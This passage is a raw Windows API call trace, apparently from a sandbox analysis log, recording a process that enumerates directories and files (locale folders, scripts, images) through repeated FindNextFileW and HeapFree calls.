ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0270.400] FindClose (in: hFindFile=0x64a1d8 | out: hFindFile=0x64a1d8) returned 1 [0270.400] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0270.402] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="on-boarding", cAlternateFileName="ON-BOA~1")) returned 1 [0270.402] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.402] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0270.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.405] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1 [0270.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.405] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1 [0270.405] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.405] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0270.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.406] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0270.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1 [0270.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0270.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15eb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PlayStore_icon.svg", cAlternateFileName="PLAYST~1.SVG")) returned 1 [0270.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0270.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.407] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1 [0270.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.408] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeede288a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeede288a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeede288a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0270.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.408] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedbc5f3, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeedbc5f3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeedbc5f3, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0270.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.408] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0270.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x54d0050 | out: hHeap=0x630000) returned 1 [0270.408] FindNextFileW (in: hFindFile=0x6eb8b0, lpFindFileData=0x3b2dcac | out: lpFindFileData=0x3b2dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed96438, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed96438, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed96438, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0270.408] FindClose (in: hFindFile=0x6eb8b0 | out: hFindFile=0x6eb8b0) returned 1 [0270.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.408] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeee2ed3e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeee2ed3e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeee2ed3e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7962, dwReserved0=0x0, dwReserved1=0x0, cFileName="multi-tab-file-view-2x.png", cAlternateFileName="MULTI-~2.PNG")) returned 1 [0270.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0270.409] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0 [0270.409] FindClose (in: hFindFile=0x6eb7f0 | out: hFindFile=0x6eb7f0) returned 1 [0270.409] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.409] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefca319f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0270.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.410] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0270.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.410] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefbbe3ee, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefbbe3ee, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefbbe3ee, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0270.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.410] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0270.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.410] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0270.410] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.410] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc56cff, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc56cff, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc56cff, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc85965, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc85965, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc85965, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0270.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.411] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc0a879, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc0a879, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc0a879, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.412] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefc30acf, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefc30acf, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefc30acf, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0270.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, 